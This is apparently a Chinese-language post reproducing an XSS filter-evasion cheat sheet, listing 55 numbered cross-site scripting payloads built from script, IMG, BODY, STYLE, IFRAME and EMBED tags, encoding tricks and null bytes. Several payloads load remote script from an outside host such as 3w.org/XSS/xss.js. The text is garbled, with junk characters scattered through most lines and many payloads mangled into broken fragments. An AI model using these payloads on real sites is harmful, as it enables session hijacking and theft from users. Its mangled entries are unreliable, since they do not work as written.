XSS攻击汇总

admin

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(99)另类弹框
$ L- U% j8 m6 V- V/ [8 Q2 I; K<q/oncut=alert()>1
<s/onclick=alert()>b
5 l0 F! ^% U/ z3 E) R: X <XSS=" onclick="alert(1)//">clickme</SSX=">
<zzz onclick=alert`1`>clickme</zzz>
<a onclick=alert`1`>clickme</a>
<a=">clickme</a=">
<a=">clickme</a>
<z=">clickme</z=">
<z onclick=alert`1`>clickme</z>
; x+ O9 y! I$ k8 ~' d
1 ^8 u4 \$ ]. I9 }(2)IMG标签XSS使用JavaScript命令
" F! F$ \' L# b) O, l, G<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( J  r2 e8 S! q& M. e$ `3 N
5 B9 I6 P' \5 _! e  e# Y: r(3)IMG标签无分号无引号
4 N5 g5 j) B. w5 B& C. R<IMG SRC=javascript:alert(‘XSS’)>
0 @. q+ q; U; E9 w4 C7 o
(4)IMG标签大小写不敏感
1 m( J5 y+ s- |- J! E) P, H. A<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
2 {: n1 }; b1 s4 R; I' y' T
(5)HTML编码(必须有分号)
& y. J4 m" D" t/ [2 X9 b8 o<IMG SRC=javascript:alert(“XSS”)>
8 t& c4 }+ Q; L- Z) s) @
(6)修正缺陷IMG标签
) W/ a- l# \! T( N  t<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
2 ?' D2 b  C) G, s! a: v0 [7 |- P
(8)UTF-8的Unicode编码(计算器)
4 E: H" y, }; h. i3 ]  ^<IMG SRC=jav..省略..S')>
& E. {9 _  {/ f( k
. w3 G6 G! t3 Y/ v6 R; j(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
' Z' ]6 v+ a1 F5 q9 B
(10)十六进制编码也是没有分号(计算器)
+ p9 P6 ?+ A  w- h% r% f<IMG SRC=\'#\'" /span>

3 Y1 z- M( u0 l+ k: o- F. F(11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

" G0 l# @8 H5 H( \& e8 L8 ](12)嵌入式编码标签,将Javascript分开
' F& B; {; X* b6 z- A<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
! X1 E3 L9 E$ R7 ^2 n. L
(13)嵌入式换行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
3 }7 p7 B5 a( t, V0 s
9 f- i+ z2 c* ^# F(14)嵌入式回车
" Q) Q8 d0 L, r% W) |<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
4 b( @/ O. F4 P<IMG SRC=\'#\'" /span>

, e: F, Z) o2 {% ~2 k% H(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
4 N0 }* j, b5 }<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
& k  y; _5 }& a' R, h<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
! Y# r3 }' m, [( N9 Y& U0 ~" P<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
7 z( S( {+ L) ?
/ W' o* O  {' d6 I& H- z(17)空字符
  }4 }3 p8 ?) N: Tperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

, b0 a8 w7 x4 r* I$ q* A, a(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
( b+ _2 W7 Z3 L: ?perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
0 S5 n, p6 U3 a/ {; y5 x' O/ F) l% i
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
* ^$ X! t- }5 t9 }0 v
" H. v1 F, ^) M(23)双开括号
2 p5 L' i2 e. S: w  t  k<<SCRIPT>alert(“XSS”);//<</SCRIPT>

. O# K3 Q. ?; i, K. S, ~(24)无结束脚本标记(仅火狐等浏览器)
$ G; Z& t  B1 m/ S* F1 z<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
; i0 \  ^/ N. `
(25)无结束脚本标记2
" {# A/ q- _. K% Z" B<SCRIPT SRC=//3w.org/XSS/xss.js>
; h! k# N) [8 ^0 Y5 Q
3 b. c* K6 B/ `% a( V5 j(26)半开的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>

! c* S$ H( o6 C* L2 C(27)双开角括号
3 @& H. n1 M! |<iframe src=http://3w.org/XSS.html <
' S( g4 Y8 J6 b
5 K0 b9 E2 k7 }+ z1 u(28)无单引号 双引号 分号
7 f2 v3 K* c* M2 ?" H<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
' Z0 s+ H* O# b; i7 S
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

" g. ^) @9 O: m& M4 T* S% M4 M(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
  W; `' A1 _# @1 `$ ^
) F2 Y1 q3 [  W' x" C! U9 o(31)Input Image
/ `: {) T8 q) S1 L/ u4 V) n<INPUT SRC=\'#\'" /span>

# l5 t% x( T6 P/ F8 l7 {5 X(32)BODY Image
% i) m* m: g& q* x+ X4 Y<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
. m3 o1 W1 T: [3 K% e: d
(33)BODY标签
<BODY(‘XSS’)>

, O' U& A  y* r6 C4 W: @% _4 z(34)IMG Dynsrc
8 V8 e8 x; r" K<IMG DYNSRC=\'#\'" /span>

(35)IMG Lowsrc
0 E7 r2 q* ?5 A2 r" z5 I0 N<IMG LOWSRC=\'#\'" /span>
* w) B+ W: E& U  V- L3 j1 C
(36)BGSOUND
; c+ _- u( D8 H# u* Q  \9 a<BGSOUND SRC=\'#\'" /span>
3 C# o1 s5 Q$ X8 I
' k  }" B4 Z* V2 [(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

- j; g) o9 v4 d; Z9 j# d) e(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
$ H- u) {# ^, \* ?* R' L) u( K
(39)List-style-image(列表式)
+ m6 r9 P5 V% S/ F& a, c<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
3 e* Z( C3 y2 o. `6 ^
4 v: v: \) ]& t* H(40)IMG VBscript
) B4 Z5 `2 U6 x9 u' n<IMG SRC=\'#\'" /STYLE><UL><LI>XSS

( f. O/ y/ h7 w4 J% k(41)META链接url
, r, x! }  h4 N) c<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
, Y4 {4 Q/ J8 a; Q% F/ W
7 M1 Q$ P. q3 t(42)Iframe
; ]) x. ~7 F0 c/ s' Y0 U. I( `<IFRAME SRC=\'#\'" /IFRAME>
! \: l! `' {5 z0 U, N+ g* P' r. c
(43)Frame
' k" n: H) z7 q& g: Y/ p<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
, W: J7 J1 {0 t* r5 C7 O
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
- K7 f1 Z/ x8 B. B" @) X* v6 T
(45)TD
5 T  s1 P$ R4 J: H. `<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

0 z* b, Y, B! ~8 m  X* A0 W$ u(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
0 w  ^6 t* r6 z$ y. s' B! T<DIV STYLE=”background-image: url(
javascript:alert(‘XSS’))”>

3 T: d5 ?7 s3 _(48)DIV expression
  r$ e$ ?2 c! E5 o5 s+ j' I<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

& x3 f6 z+ }+ T* c5 U+ O4 v, Q(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

) I2 ^; H$ {$ ?' ?/ W( w  D(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
+ i4 @% M+ v/ _4 t. v* m
$ H& {1 R7 U& F2 }5 j& {(52)IMG STYLE方式
exppression(alert(“XSS”))’>
9 c& D. h) Y1 D' e+ S+ ~
3 v9 b; u9 s9 l- ?; b(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

$ M- X& f, l1 M) Z(54)BASE
5 M3 @* B+ E0 S8 W1 W: R<BASE HREF=”javascript:alert(‘XSS’);//”>

) Q8 u5 f1 z2 B(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
, `1 m& ?# G; W* ^